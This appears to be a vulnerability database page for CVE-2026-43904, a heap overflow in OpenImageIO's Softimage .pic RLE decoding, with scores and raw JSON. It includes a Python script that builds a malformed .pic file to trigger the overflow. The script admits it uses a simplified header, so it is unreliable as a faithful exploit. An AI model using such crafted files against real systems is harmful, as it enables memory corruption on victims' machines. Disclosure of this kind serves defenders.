Security Vulnerability Report
中文
CVE-2026-43904 CVSS 7.8 HIGH

CVE-2026-43904

Published: 2026-05-14 20:17:06
Last Modified: 2026-05-16 01:16:16

Description

OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, softimageinput.cpp:469 (mixed RLE) and :345 (pure RLE) do not clamp the run length to remaining scanline width before writing pixels. The raw packet path (line 403) correctly clamps with std::min, but RLE paths skip this check. A crafted .pic file causes heap overflow up to 65535 bytes. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:* - VULNERABLE
OpenImageIO < 3.0.18.0
OpenImageIO < 3.1.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct def create_exploit_pic(filename): """ PoC for CVE-2026-43904: OpenImageIO Heap Overflow This script generates a malformed .pic file to trigger the vulnerability. """ with open(filename, 'wb') as f: # Softimage .pic file magic number (big endian) f.write(struct.pack('>I', 0x5380F634)) # Image dimensions (arbitrary for PoC) width = 100 height = 100 f.write(struct.pack('>H', width)) f.write(struct.pack('>H', height)) # Padding to fill the header and reach the RLE data section # The actual header size is larger, this is simplified for PoC structure f.write(b'\x00' * 800) # Malicious RLE Packet Construction # The vulnerability occurs when the run length is not clamped. # We set a run length (e.g., 65535) larger than the scanline width (100). malicious_run_length = 65535 pixel_value = 0x41 # 'A' # Write the malicious run length and pixel value # This simulates the lack of std::min check mentioned in the advisory f.write(struct.pack('>H', malicious_run_length)) f.write(bytes([pixel_value])) print(f"[+] Malicious .pic file generated: {filename}") print(f"[+] Attempt to open this file with a vulnerable OpenImageIO version to trigger the heap overflow.") if __name__ == "__main__": create_exploit_pic('cve_2026_43904_exploit.pic')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43904", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:06.240", "lastModified": "2026-05-16T01:16:16.447", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, softimageinput.cpp:469 (mixed RLE) and :345 (pure RLE) do not clamp the run length to remaining scanline width before writing pixels. The raw packet path (line 403) correctly clamps with std::min, but RLE paths skip this check. A crafted .pic file causes heap overflow up to 65535 bytes. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.18.0", "matchCriteriaId": "90B206C1-E7DB-4175-8077-C76D5C8533AF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.4.0", "versionEndExcluding": "3.1.13.0", "matchCriteriaId": "34BBB27F-256F-4D15-A394-158343CB8B4D"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-4499-j545-7q33", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-4499-j545-7q33", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}